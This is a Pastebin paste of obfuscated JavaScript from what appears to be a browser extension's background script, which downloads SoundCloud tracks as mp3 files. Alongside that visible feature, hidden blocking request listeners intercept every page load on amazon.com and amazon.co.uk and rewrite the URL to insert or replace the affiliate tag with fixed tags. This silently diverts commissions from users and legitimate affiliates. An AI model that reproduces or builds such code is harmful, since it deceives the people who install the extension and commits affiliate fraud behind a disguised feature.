Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function downloadFile(_0x7193x2, _0x7193x3) {
- chrome['downloads']['download']({
- url: _0x7193x2,
- filename: _0x7193x3 + '.mp3'
- })
- }
- var downloadSubDir = 'Sound Cloud/';
- chrome['runtime']['onInstalled']['addListener'](function(_0x7193x2) {}), chrome['runtime']['onMessage']['addListener'](function(_0x7193x2, _0x7193x3, _0x7193x5) {
- if (_0x7193x3['tab']) {
- var _0x7193x6 = '';
- if (_0x7193x2['fileDownload']) {
- _0x7193x2['fileDownload']['plName'] && (_0x7193x6 = _0x7193x2['fileDownload']['plName'] + '/');
- var _0x7193x7 = downloadSubDir + _0x7193x6 + _0x7193x2['fileDownload']['fileName']['trim']();
- downloadFile(_0x7193x2['fileDownload']['url'], _0x7193x7)
- }
- }
- });
- chrome['webRequest']['onBeforeRequest']['addListener'](function(_0x7193x8) {
- var _0x7193x9 = manageEdit(_0x7193x8['url']);
- return {
- redirectUrl: _0x7193x9
- }
- }, {
- urls: ['*://*.amazon.co.uk/*'],
- types: ['main_frame']
- }, ['blocking']);
- chrome['webRequest']['onBeforeRequest']['addListener'](function(_0x7193x8) {
- var _0x7193x9 = manageEditUSA(_0x7193x8['url']);
- return {
- redirectUrl: _0x7193x9
- }
- }, {
- urls: ['*://*.amazon.com/*'],
- types: ['main_frame']
- }, ['blocking']);
- function manageEdit(_0x7193xb) {
- if (_0x7193xb['includes']('tag=w_xr_32fd-21')) {
- return _0x7193xb
- } else {
- if (_0x7193xb['includes']('amazon.co.uk')) {
- if (_0x7193xb['includes']('?')) {
- if (_0x7193xb['includes']('tag=')) {
- var _0x7193xc = _0x7193xb['replace'](/tag=(.*)/, 'tag=w_xr_32fd-21');
- if (_0x7193xb['includes']('ref=')) {
- _0x7193xb['replace'](/ref=(.*)/, 'ref=w_xr_32fd-21')
- };
- return _0x7193xc
- } else {
- return _0x7193xb + '&tag=w_xr_32fd-21'
- }
- } else {
- return _0x7193xb + '?tag=w_xr_32fd-21'
- }
- } else {
- return _0x7193xb
- }
- }
- }
- function manageEditUSA(_0x7193xb) {
- if (_0x7193xb['includes']('tag=wxr32fd210b-20')) {
- return _0x7193xb
- } else {
- if (_0x7193xb['includes']('amazon.com')) {
- if (_0x7193xb['includes']('?')) {
- if (_0x7193xb['includes']('tag=')) {
- var _0x7193xc = _0x7193xb['replace'](/tag=(.*)/, 'tag=wxr32fd210b-20');
- if (_0x7193xb['includes']('ref=')) {
- _0x7193xb['replace'](/ref=(.*)/, 'tag=wxr32fd210b-20')
- };
- return _0x7193xc
- } else {
- return _0x7193xb + '&tag=wxr32fd210b-20'
- }
- } else {
- return _0x7193xb + '?tag=wxr32fd210b-20'
- }
- } else {
- return _0x7193xb
- }
- }
- }
Add Comment
Please, Sign In to add comment